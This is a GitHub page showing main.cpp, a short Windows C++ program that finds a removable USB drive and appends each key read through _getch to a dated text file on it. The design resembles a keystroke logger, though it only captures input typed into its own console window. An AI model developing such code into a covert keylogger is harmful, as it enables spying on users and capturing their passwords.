-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.cpp
More file actions
83 lines (65 loc) · 2.12 KB
/
Copy pathmain.cpp
File metadata and controls
83 lines (65 loc) · 2.12 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include <stdio.h>
#include <iostream>
#include <conio.h>
#include <fstream>
#include <string>
#include <filesystem>
#include <ctime>
#include <chrono>
#include <sstream>
#include <iomanip>
#include <windows.h>
#include <thread>
std::string findUSBDriveLetter() {
for (char drive = 'D'; drive <= 'Z'; ++drive) {
std::string drive_path = std::string(1, drive) + ":\\";
// check if removable disk
if (GetDriveTypeA(drive_path.c_str()) == DRIVE_REMOVABLE) {
return drive_path;
}
}
return "";
}
std::string getCurrentDateTimeForFilename() {
auto now = std::chrono::system_clock::now();
std::time_t currentTime = std::chrono::system_clock::to_time_t(now);
std::tm* localTime = std::localtime(¤tTime);
std::stringstream ss;
ss << std::put_time(localTime, "%Y-%m-%d"); // YYYY-MM-DD
return ss.str();
}
void logToUSB(const std::string& usb_drive, char key) {
std::string file_name = usb_drive + getCurrentDateTimeForFilename() + ".txt";
std::ofstream logfile(file_name, std::ios_base::app); // Append to file
if (!logfile.is_open()) {
std::cerr << "Error opening file for logging!" << std::endl;
}
else {
logfile << key;
logfile.close();
}
}
int main() {
std::string usb_drive_mount = findUSBDriveLetter();
bool not_mounted = usb_drive_mount.empty(); // true if not mounted
if (!not_mounted) {
std::string log_filename = usb_drive_mount + getCurrentDateTimeForFilename() + ".txt";
std::ofstream logfile(log_filename, std::ios_base::app);
if (!logfile.is_open()) {
std::cerr << "Error opening file for logging!" << std::endl;
return 1;
}
while (true) {
if (!std::filesystem::exists(usb_drive_mount)) {
std::cerr << "USB drive " << usb_drive_mount << " removed!" << std::endl;
break;
}
char key = _getch();
logfile << key;
logfile.flush();
}
} else {
std::cerr << "No USB drive detected." << std::endl;
}
return 0;
}